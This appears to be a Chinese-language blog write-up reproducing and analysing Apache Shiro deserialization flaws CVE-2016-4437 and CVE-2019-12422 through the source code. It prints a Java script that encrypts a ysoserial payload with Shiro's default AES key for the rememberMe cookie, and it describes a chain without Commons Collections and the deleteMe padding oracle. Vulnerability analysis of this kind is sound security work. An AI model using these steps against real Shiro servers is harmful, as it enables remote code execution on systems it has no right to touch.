Shiro
简单介绍一下Shiro,Shiro是Apache开发的Java框架,可执行身份验证、授权、加密和绘画管理。简单来说就是Java的一款安全框架。
Shiro基本功能点如下图
- Authentication:身份认证 / 登录,验证用户是不是拥有相应的身份;
- Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限;即判断用户是否能做事情,常见的如:验证某个用户是否拥有某个角色。或者细粒度的验证某个用户对某个资源是否具有某个权限;
- Session Management:会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中;会话可以是普通 JavaSE 环境的,也可以是如 Web 环境的;
- Cryptography:加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储;
- Web Support:Web 支持,可以非常容易的集成到 Web 环境;
- Caching:缓存,比如用户登录后,其用户信息、拥有的角色 / 权限不必每次去查,这样可以提高效率;
- Concurrency:shiro 支持多线程应用的并发验证,即如在一个线程中开启另一个线程,能把权限自动传播过去;
- Testing:提供测试支持;
- Run As:允许一个用户假装为另一个用户(如果他们允许)的身份进行访问;
- Remember Me:记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了。
Shiro 不会去维护用户、维护权限;这些需要我们自己去设计 / 提供;然后通过相应的接口注入给 Shiro 即可
Shiro-550
CVE-2016-4437
复现
首先复现一下,复现环境vulhub
直接ysoserial打cb链,然后用加密脚本加密一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class shiro550enc {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Temp/", "poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
|
发包,加密好的payload放到rememberMe Cookies中,成功(复现没什么好说的
分析
沿着复现思路去分析一下,首先切入点是通过rememberMe Cookies传入payload触发CB链反序列化命令执行
先看一下shiro处理cooki。由于我们传入的序列化数据被kPH+bIxk5D2deZiIxcaaaA==
这段密钥加密,所以找一下带这段密钥的位置,于是找到AbstractRememberMeManager.java
跟进文件看一下,这个密钥只用在构造方法中,并且传给方法setCipherKey,最终是将密钥定义给类中加密解密的密钥
1
2
3
4
5
|
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
|
简单搜索找到他的子类CookieRememberMeManager,类中找到这个方法,简单来说就是对于当前cookie属性进行base64解码,而cookie为构造方法创建时赋予,调用SimpleCookie进行封装,并且传入cookie name为rememberMe,这样就拿到了rememberMe cookie的值,对其进行base64解码并返回
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
...
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
|
继续向上,看一下调用,注意到这个getRememberedPrincipals方法,方法属于我们上面谈到的抽象类AbstractRememberMeManager
看一下这个方法,调用getRememberedSerializedIdentity对rememberMe进行base64解码后,又进行了convertBytesToPrincipals,方法对其进行处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
|
跟进这个方法发现解密后调用反序列化对其进行处理,这样就解释得通payload使用固定的那串密钥加密后使用base64编码的原因
1
2
3
4
5
6
|
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
|
再向上追溯就是shiro的处理逻辑了,不细分析了,知道漏洞成因得了,有兴趣的自己看源码,向下的话CB链看这篇文章
无CC攻击链
其实上述我们使用ysoserial的CB链能够攻击成功是因为vulhub环境中存在Commons Collections,我们自己搭建原始Shiro是没有Commons Collections的,这样就会利用失败,报错找不到ComparableComparator类,原因:
commons-beanutils本来依赖于commons-collections,但在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全
分析过CB我们知道在BeanComparator初始化时如果不传值会默认将comparator属性赋成ComparableComparator.getInstance(),所以就是这里做了一个调用
1
2
3
4
5
6
7
8
9
|
public BeanComparator(String property, Comparator<?> comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
|
看了一下ComparableComparator,实现Comparator和Serializable接口,因此要找一个实现了这两个接口并且在commons-beanutils或jdk或shiro中,并且带一个compare方法(BeanComparator.internalCompare()中调用,这个方法最好没什么问题)
其实很多,添加一个即可,这边使用Collections.ReverseComparator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
private static class ReverseComparator
implements Comparator<Comparable<Object>>, Serializable {
private static final long serialVersionUID = 7207038068494060240L;
static final ReverseComparator REVERSE_ORDER
= new ReverseComparator();
public int compare(Comparable<Object> c1, Comparable<Object> c2) {
return c2.compareTo(c1);
}
private Object readResolve() { return Collections.reverseOrder(); }
@Override
public Comparator<Comparable<Object>> reversed() {
return Comparator.naturalOrder();
}
}
|
Shiro-721
CVE-2019-12422
这个洞利用条件比较苛刻,需要一个登录成功用户的rememberMe cookie,利用其结合Padding Oracle Attack爆破出密钥,再构造序列化字段,利用口子和触发命令执行方式与shiro550相同,换了个加解密方式
Padding Oracle Attack不多介绍了
复现
本地编译版本问题一直失败直接用人家编译好的war起
原生shiro编译好运行就是这样
配合ShiroExploit工具进行攻击测试,需要登录用户的cookie
漏洞检测进行爆破
爆破完成可以使用自带命令执行尝试执行命令
分析
复现利用口子同shiro550,还是rememberMe这个cookie
对比一下看一下变了哪里
对比AbstractRememberManager构造方法,setCipherKey方法传入一个生成的密钥而不是使用固定密钥
1
2
3
4
5
6
|
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}
|
跟进看一下密钥生成,看一下generateNewKey,最后定位到AbstractSymmetricCipherService#generateNewKey(int keyBitSize),其中keyBitSize默认为128,方法中调用KeyGenerator#init方法构建一个key并返回一个generateKey()生成的key
1
2
3
4
5
6
7
8
9
10
11
|
public Key generateNewKey(int keyBitSize) {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance(getAlgorithmName());
} catch (NoSuchAlgorithmException e) {
String msg = "Unable to acquire " + getAlgorithmName() + " algorithm. This is required to function.";
throw new IllegalStateException(msg, e);
}
kg.init(keyBitSize);
return kg.generateKey();
}
|
继续跟进,定位到如下位置,传入var1 = 128,另一个参数JceSecurity.RANDOM为SecuryRandom实例,进行一些类初始化赋值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
public final void init(int var1) {
this.init(var1, JceSecurity.RANDOM);
}
public final void init(int var1, SecureRandom var2) {
if (this.serviceIterator == null) {
this.spi.engineInit(var1, var2);
} else {
RuntimeException var3 = null;
KeyGeneratorSpi var4 = this.spi;
while(true) {
try {
var4.engineInit(var1, var2);
this.initType = 4;
this.initKeySize = var1;
this.initParams = null;
this.initRandom = var2;
return;
} catch (RuntimeException var6) {
if (var3 == null) {
var3 = var6;
}
var4 = this.nextSpi(var4, false);
if (var4 == null) {
throw var3;
}
}
}
}
}
|
再看一下generateKey,调试发现this.serviceiterator为null所以直接进入engineGenerateKey
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
public final SecretKey generateKey() {
if (this.serviceIterator == null) {
return this.spi.engineGenerateKey();
} else {
RuntimeException var1 = null;
KeyGeneratorSpi var2 = this.spi;
while(true) {
try {
return var2.engineGenerateKey();
} catch (RuntimeException var4) {
if (var1 == null) {
var1 = var4;
}
var2 = this.nextSpi(var2, true);
if (var2 == null) {
throw var1;
}
}
}
}
}
|
跟进engineGenerateKey,因为使用AES所以进入AESKeyGenerator#engineGenerateKey,定义一个SecretKeySpec实例,keySize默认为16,this.random为之前定义的SecretRandom实例,利用其生成16个byte数,并用其构造var1并返回
1
2
3
4
5
6
7
8
9
10
11
|
protected SecretKey engineGenerateKey() {
SecretKeySpec var1 = null;
if (this.random == null) {
this.random = SunJCE.getRandom();
}
byte[] var2 = new byte[this.keySize];
this.random.nextBytes(var2);
var1 = new SecretKeySpec(var2, "AES");
return var1;
}
|
构造方法如下,最后调用getEncoded方法,最终得到一个byte字符串为密钥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public SecretKeySpec(byte[] var1, String var2) {
if (var1 != null && var2 != null) {
if (var1.length == 0) {
throw new IllegalArgumentException("Empty key");
} else {
this.key = (byte[])var1.clone();
this.algorithm = var2;
}
} else {
throw new IllegalArgumentException("Missing argument");
}
}
public byte[] getEncoded() {
return (byte[])this.key.clone();
}
|
那么利用脚本捕获了怎样的反馈作为boolean判断呢,看了一圈利用工具的源码,粗略的看一下是用deleteMe来进行判断的
(感兴趣看一下RoundTask#start方法)
接下来去源码中看一下
分析过550我们知道解密位置convertBytesToPrincipals,其中调用decrypt方法,跟进看一下,传入base64解码后的字符数组,调用getCipherService取到cipherService,然后调用其decrypt方法以及解密密钥对其进行解密,解密密钥同加密密钥都是通过上面步骤生成的密钥
1
2
3
4
5
6
7
8
9
|
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
|
一直跟进跟进decrypt方法到JcaCipherService#crypt方法,方法中调用javax.crypt.Cipher#doFinal原生方法(再往下看比较低层并且抛出错误内容与解密错误没什么关系
1
2
3
4
5
6
7
8
|
private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException {
try {
return cipher.doFinal(bytes);
} catch (Exception e) {
String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
throw new CryptoException(msg, e);
}
}
|
往回看,直接看调用convertBytesToPrincipals的getRememberedPrincipals,方法中,如果捕获到错误调用onRememberedPrincipalFailure方法赋值给principals
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
|
看一下onRememberedPrincipalFailure,方法中调用forgetIdentity我们继续跟进,判断如果是http请求,取到request和response然后调用forgetIdentity方法,最终调用SimpleCookie#removeFrom方法,简单看一下,其中DELETED_COOKIE_VALUE为字符串"deleteMe",最终调用addCookieHeader方法添加一个cookie: rememberMe=deleteMe,我们如果选择了remember me但是如果账户密码有问题也会得到这个cookie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
String name = getName();
String value = DELETED_COOKIE_VALUE;
String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
String domain = getDomain();
String path = calculatePath(request);
int maxAge = 0; //always zero for deletion
int version = getVersion();
boolean secure = isSecure();
boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all
addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);
log.trace("Removed '{}' cookie by setting maxAge=0", name);
}
|
所以基本可以确定如果如果解密失败返回Set-Cookie: rememberMe=deleteMe,脚本也以此作为判断
参考
http://goodapple.top/archives/261
https://github.com/inspringz/Shiro-721
https://cloud.tencent.com/developer/article/2130129